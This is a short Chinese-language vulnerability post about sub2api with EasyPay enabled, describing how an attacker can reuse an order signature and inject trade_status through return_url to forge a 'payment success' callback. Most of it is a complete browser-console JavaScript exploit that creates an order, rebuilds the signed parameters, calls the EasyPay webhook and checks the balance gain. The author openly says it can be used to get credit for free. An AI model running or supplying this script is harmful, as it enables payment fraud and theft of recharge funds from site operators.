攻击者无需知道商户密钥 pkey,复用下单签名即可伪造“支付成功”回调,使充值订单被判定为已支付,直接冲击余额/充值资金安全。
影响范围:使用 sub2api + 开启 易支付 EasyPay + popup / submit.php 跳转模式

相关issues链接:https://github.com/Wei-Shaw/sub2api/issues/7881

漏洞复现脚本(可以拿来白嫖)

const AMOUNT = 60;

(async () => {
  const HOST = location.origin, API = HOST + '/api/v1';
  const TOK = localStorage.getItem('auth_token');
  if (!TOK) { console.log('未登录:localStorage.auth_token 为空'); return; }
  const H = { Authorization: 'Bearer ' + TOK, 'Content-Type': 'application/json', Accept: 'application/json' };
  const GET = async u => (await fetch(API + u, { headers: H })).json();
  const POST = async (u, b) => (await fetch(API + u, { method: 'POST', headers: H, body: JSON.stringify(b) })).json();
  const num = v => (isNaN(Number(v)) ? 0 : Number(v));
  const pub = await GET('/settings/public');
  const pd = (pub && pub.data) || {};
  console.log('版本:', pd.version, '| 站点:', pd.site_name);
  const cfg = ((await GET('/payment/config')) || {}).data || {};
  if (!cfg.enabled) { console.log('支付未开启'); return; }
  const me0 = ((await GET('/auth/me')) || {}).data || {};
  const before = num(me0.balance);
  console.log('投递前余额:', before);
  let amt = AMOUNT, order = null;
  const types = [...new Set(['alipay', 'wxpay'].concat(cfg.enabled_payment_types || []))];
  for (const t of types) {
    for (let i = 0; i < 2; i++) {
      const r = await POST('/payment/orders', { amount: amt, payment_type: t, return_url: HOST + '/payment/result?trade_status=TRADE_SUCCESS' });
      const d = r && r.data;
      if (d && d.pay_url) { order = d; break; }
      const need = String((r && r.message) || '').match(/at least (\d+)/);
      if (!need) break;
      amt = Number(need[1]);
    }
    if (order) break;
  }
  if (!order) { console.log('建单失败:无可用支付方式'); return; }
  if (order.pay_url.indexOf('/submit.php?') < 0) { console.log('非 popup 模式(mapi),链不成立'); return; }
  const q = new URLSearchParams(new URL(order.pay_url).search);
  const sign = q.get('sign'), ru = q.get('return_url') || '';
  const inj = ru.match(/&trade_status=[^&]*$/);
  if (!inj) { console.log('已修补:return_url 注入串被剥离'); return; }
  const body = {};
  q.forEach((v, k) => { if (k !== 'sign' && k !== 'sign_type') body[k] = v; });
  body.return_url = ru.slice(0, ru.length - inj[0].length);
  body.trade_status = inj[0].slice(14);
  body.sign = sign; body.sign_type = 'MD5';
  const wr = await fetch(API + '/payment/webhook/easypay?' + new URLSearchParams(body).toString(), { headers: { 'User-Agent': 'EasyPay/1.0' } });
  console.log('回调:', wr.status, (await wr.text()).slice(0, 24));
  let st = '';
  for (let i = 0; i < 12 && st !== 'COMPLETED' && st !== 'PAID'; i++) {
    await new Promise(s => setTimeout(s, 600));
    const od = ((await GET('/payment/orders/' + order.order_id)) || {}).data || {};
    st = od.status || '';
  }
  const me1 = ((await GET('/auth/me')) || {}).data || {};
  const after = num(me1.balance);
  console.log('订单:', order.order_id, '金额:', order.pay_amount, st);
  console.log('余额:', before, '->', after, '(+' + (after - before).toFixed(2) + ')');
})();